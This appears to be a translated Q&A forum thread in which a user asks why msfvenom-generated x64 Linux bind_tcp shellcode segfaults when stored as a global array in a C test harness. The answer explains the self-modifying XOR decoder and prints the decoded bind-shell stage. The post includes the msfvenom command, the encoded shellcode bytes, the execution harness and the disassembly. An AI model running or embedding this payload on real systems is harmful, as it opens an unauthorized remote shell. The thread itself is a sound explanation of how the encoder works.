当shellcode被定义为全局变量时,Msfvenom bind_tcp shellcode不工作

63lcw9qa  于 2023-10-16  发布在  Shell
关注(0)|答案(1)|浏览(86)

我在Ubuntu上使用以下命令生成bind_tcp shellcode:

msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234

我的C代码来测试它是:

#include <stdio.h>
#include <string.h>

__attribute__((section(".text#")))
unsigned char code[] = 
        "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef"
        "\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48"
        "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a"
        "\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca"
        "\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9"
        "\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf"
        "\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f"
        "\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59"
        "\x91\x5d\xef\x3f\x2e\xf1\x54";

int main() {
    printf("Shellcode Length %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

使用gcc -z execstack -fno-stack-protector -o shellCode shellCode.c编译代码,然后运行./shellCode会生成一个分段错误。但是,如果我将代码数组移动到main函数中(并删除__attribute__),代码就可以工作,我可以使用msfconsole进行攻击。
我的问题是:为什么将代码定义为全局变量不起作用?我已经检查了两个ELF文件,两次代码都在.text部分下。但区别在于:

  • 在全局变量version中,shellcode位于.text节内的一个名为code的单独节中,并且反汇编似乎不正确:
0000000000001180 <code>:
1180:       48 31 c9                xor    rcx,rcx
1183:       48 81 e9 f6 ff ff ff    sub    rcx,  0xfffffffffffffff6
118a:       48 8d 05 ef ff ff ff    lea    rax,[rip  +0xffffffffffffffef]        # 1180 <code>
1191:       48 bb ce ce 52 ea c0    movabs rbx,  0x54f1c8c0ea52cece
1198:       c8 f1 54 
119b:       48 31 58 27             xor    QWORD PTR [rax  +0x27],rbx
119f:       48 2d f8 ff ff ff       sub    rax,  0xfffffffffffffff8
11a5:       e2 f4                   loop   119b <code+0x1b>
11a7:       a4                      movs   BYTE PTR es:[rdi],  BYTE PTR ds:[rsi]
11a8:       e7 0a                   out    0xa,eax
11aa:       73 aa                   jae    1156   <__do_global_dtors_aux+0x36>
11ac:       ca ae 3e                retf   0x3eae
11af:       cf                      iret   
11b0:       90                      nop
11b1:       5d                      pop    rbp
11b2:       ef                      out    dx,eax
11b3:       88 5f a3                mov    BYTE PTR   [rdi-0x5d],bl
11b6:       93                      xchg   ebx,eax
11b7:       ca ea 50                retf   0x50ea
11ba:       ea                      (bad)  
11bb:       c4                      (bad)  
11bc:       1a b9 dd 28 a4 42       sbb    bh,BYTE PTR [rcx  +0x42a428dd]
11c2:       b0 aa                   mov    al,0xaa
11c4:       f9                      stc    
11c5:       a9 5b cb 97 38          test   eax,0x3897cb5b
11ca:       d8 98 c7 f4 1c 58       fcomp  DWORD PTR [rax  +0x581cf4c7]
11d0:       a4                      movs   BYTE PTR es:[rdi],  BYTE PTR ds:[rsi]
11d1:       79 b2                   jns    1185 <code+0x5>
11d3:       cf                      iret   
11d4:       cd a1                   int    0xa1
11d6:       02 91 a4 5b b2 59       add    dl,BYTE PTR [rcx  +0x59b25ba4]
11dc:       7e e1                   jle    11bf <code+0x3f>
11de:       1c 47                   sbb    al,0x47
11e0:       18 1f                   sbb    BYTE PTR [rdi],bl
11e2:       db 09                   fisttp DWORD PTR [rcx]
11e4:       a2 d3 15 94 7c 55 e5    movabs   ds:0x80c5e5557c9415d3,al
11eb:       c5 80 
11ed:       67 1c 59                addr32 sbb al,0x59
11f0:       91                      xchg   ecx,eax
11f1:       5d                      pop    rbp
11f2:       ef                      out    dx,eax
11f3:       3f                      (bad)  
11f4:       2e f1                   cs icebp 
11f6:       54                      push   rsp
  • 在局部变量version中,它看起来像这样(从第1175行开始):
1169:       f3 0f 1e fa             endbr64 
116d:       55                      push   rbp
116e:       48 89 e5                mov    rbp,rsp
1171:       48 83 c4 80             add    rsp,0xffffffffffffff80
1175:       48 b8 48 31 c9 48 81    movabs rax,0xfff6e98148c93148
117c:       e9 f6 ff 
117f:       48 ba ff ff 48 8d 05    movabs rdx,0xffffef058d48ffff
1186:       ef ff ff 
1189:       48 89 45 80             mov    QWORD PTR [rbp-0x80],rax
118d:       48 89 55 88             mov    QWORD PTR [rbp-0x78],rdx
1191:       48 b8 ff 48 bb ce ce    movabs rax,0xc0ea52cecebb48ff
1198:       52 ea c0 
119b:       48 ba c8 f1 54 48 31    movabs rdx,0x482758314854f1c8
11a2:       58 27 48 
11a5:       48 89 45 90             mov    QWORD PTR [rbp-0x70],rax
11a9:       48 89 55 98             mov    QWORD PTR [rbp-0x68],rdx
11ad:       48 b8 2d f8 ff ff ff    movabs rax,0xa4f4e2fffffff82d
11b4:       e2 f4 a4 
11b7:       48 ba e7 0a 73 aa ca    movabs rdx,0xcf3eaecaaa730ae7
11be:       ae 3e cf 
11c1:       48 89 45 a0             mov    QWORD PTR [rbp-0x60],rax
11c5:       48 89 55 a8             mov    QWORD PTR [rbp-0x58],rdx
11c9:       48 b8 90 5d ef 88 5f    movabs rax,0xca93a35f88ef5d90
11d0:       a3 93 ca 
11d3:       48 ba ea 50 ea c4 1a    movabs rdx,0x28ddb91ac4ea50ea
11da:       b9 dd 28 
11dd:       48 89 45 b0             mov    QWORD PTR [rbp-0x50],rax
11e1:       48 89 55 b8             mov    QWORD PTR [rbp-0x48],rdx
11e5:       48 b8 a4 42 b0 aa f9    movabs rax,0xcb5ba9f9aab042a4
11ec:       a9 5b cb 
11ef:       48 ba 97 38 d8 98 c7    movabs rdx,0x581cf4c798d83897
11f6:       f4 1c 58 
11f9:       48 89 45 c0             mov    QWORD PTR [rbp-0x40],rax
11fd:       48 89 55 c8             mov    QWORD PTR [rbp-0x38],rdx
1201:       48 b8 a4 79 b2 cf cd    movabs rax,0x9102a1cdcfb279a4
1208:       a1 02 91 
120b:       48 ba a4 5b b2 59 7e    movabs rdx,0x471ce17e59b25ba4
1212:       e1 1c 47 
1215:       48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax
1219:       48 89 55 d8             mov    QWORD PTR [rbp-0x28],rdx
121d:       48 b8 18 1f db 09 a2    movabs rax,0x9415d3a209db1f18
1224:       d3 15 94 
1227:       48 ba 7c 55 e5 c5 80    movabs rdx,0x591c6780c5e5557c
122e:       67 1c 59 
1231:       48 89 45 e0             mov    QWORD PTR [rbp-0x20],rax
1235:       48 89 55 e8             mov    QWORD PTR [rbp-0x18],rdx
1239:       48 b8 91 5d ef 3f 2e    movabs rax,0x54f12e3fef5d91
1240:       f1 54 00 
1243:       48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
1247:       48 8d 45 80             lea    rax,[rbp-0x80]
124b:       48 89 c7                mov    rdi,rax
124e:       e8 0d fe ff ff          call   1060 <strlen@plt>
1253:       48 89 c6                mov    rsi,rax
1256:       48 8d 3d a7 0d 00 00    lea    rdi,[rip+0xda7]        # 2004 <_IO_stdin_used+0x4>
125d:       b8 00 00 00 00          mov    eax,0x0
1262:       e8 09 fe ff ff          call   1070 <printf@plt>
1267:       48 8d 45 80             lea    rax,[rbp-0x80]
126b:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
126f:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]
1273:       b8 00 00 00 00          mov    eax,0x0
1278:       ff d2                   call   rdx
127a:       b8 00 00 00 00          mov    eax,0x0
127f:       c9                      leave  
1280:       c3                      ret    
1281:       66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
1288:       00 00 00 
128b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]

msfvenom是否需要将shellcode作为局部变量?如果是这样,有没有办法绕过这个机制?

fslejnso

fslejnso1#

正如你可以从你试图执行的shellcode的前几条指令中看到的:

1180:       48 31 c9                xor    rcx,rcx
    1183:       48 81 e9 f6 ff ff ff    sub    rcx,0xfffffffffffffff6
    118a:       48 8d 05 ef ff ff ff    lea    rax,[rip+0xffffffffffffffef]        # 1180 <code>
    1191:       48 bb ce ce 52 ea c0    movabs rbx,0x54f1c8c0ea52cece
    1198:       c8 f1 54 
    119b:       48 31 58 27             xor    QWORD PTR [rax+0x27],rbx
    119f:       48 2d f8 ff ff ff       sub    rax,0xfffffffffffffff8
    11a5:       e2 f4                   loop   119b <code+0x1b>
    ...

shellcode是 * 自我修改的 *。前几条指令定位要执行的机器代码的其余部分,将地址加载到RAX中,然后在循环中将其与常量0x54f1c8c0ea52cece每次进行8个字节的XOR。当这一切完成后(在10次迭代之后,因为RCX从10开始),其余的shellcode将被执行。
如果在可读、可写和可执行的部分(例如使用-z execstack时的堆栈)中声明代码,则可以很好地工作,但绝对不能在仅可读和可执行的部分(例如文本)中工作。因此,您应该使用堆栈(局部变量)或告诉Msfvenom生成 * 非 * 自修改的shellcode。不知道如何实现第二个选项,因为我从来没有使用过这个工具,但也许可以看看不同的-p负载或看看--payload-options
局部变量case的第二个代码片段似乎更有意义,因为在堆栈上声明一个局部缓冲区将导致编译器在实际函数开始之前发出一堆MOV/MOVABS指令来填充缓冲区。所以你看到的 * 不是 * shellcode,而仅仅是将shellcode写入堆栈的代码。实际的shellcode执行从这里开始:

1278:       ff d2                   call   rdx

你将无法看到/转储它与一个简单的反汇编器一样,你在第一种情况下。
在任何情况下,执行的shellcode仍然与为全局变量case打印的shellcode相同。它会自我修改,然后执行。但是这次它会工作,因为堆栈是RWX和-z execstack
如果你在调试器下运行你的程序,比如GDB和call rdx之后的单步调试,你将能够看到自我修改的发生,并且你将能够观察到代码被异或后的其余部分。我为你做了这个,循环后的shellcode看起来像这样:

0:  6a 29                   push   0x29
2:  58                      pop    rax
3:  99                      cdq
4:  6a 02                   push   0x2
6:  5f                      pop    rdi
7:  6a 01                   push   0x1
9:  5e                      pop    rsi
a:  0f 05                   syscall
c:  48 97                   xchg   rdi,rax
e:  52                      push   rdx
f:  c7 04 24 02 00 04 d2    mov    DWORD PTR [rsp],0xd2040002
16: 48 89 e6                mov    rsi,rsp
19: 6a 10                   push   0x10
1b: 5a                      pop    rdx
1c: 6a 31                   push   0x31
1e: 58                      pop    rax
1f: 0f 05                   syscall
21: 59                      pop    rcx
22: 6a 32                   push   0x32
24: 58                      pop    rax
25: 0f 05                   syscall
27: 48 96                   xchg   rsi,rax
29: 6a 2b                   push   0x2b
2b: 58                      pop    rax
2c: 0f 05                   syscall
2e: 50                      push   rax
2f: 56                      push   rsi
30: 5f                      pop    rdi
31: 6a 09                   push   0x9
33: 58                      pop    rax
34: 99                      cdq
35: b6 10                   mov    dh,0x10
37: 48 89 d6                mov    rsi,rdx
3a: 4d 31 c9                xor    r9,r9
3d: 6a 22                   push   0x22
3f: 41 5a                   pop    r10
41: b2 07                   mov    dl,0x7
43: 0f 05                   syscall
45: 48 96                   xchg   rsi,rax
47: 48 97                   xchg   rdi,rax
49: 5f                      pop    rdi
4a: 0f 05                   syscall
4c: ff e6                   jmp    rsi

P.S.:你看到的那个“部分”叫做code

0000000000001180 <code>:

不是一个部分,它只是一个引用全局变量code的符号,而objdump(或您用来反汇编ELF的任何工具)将突出显示符号开始的位置。

相关问题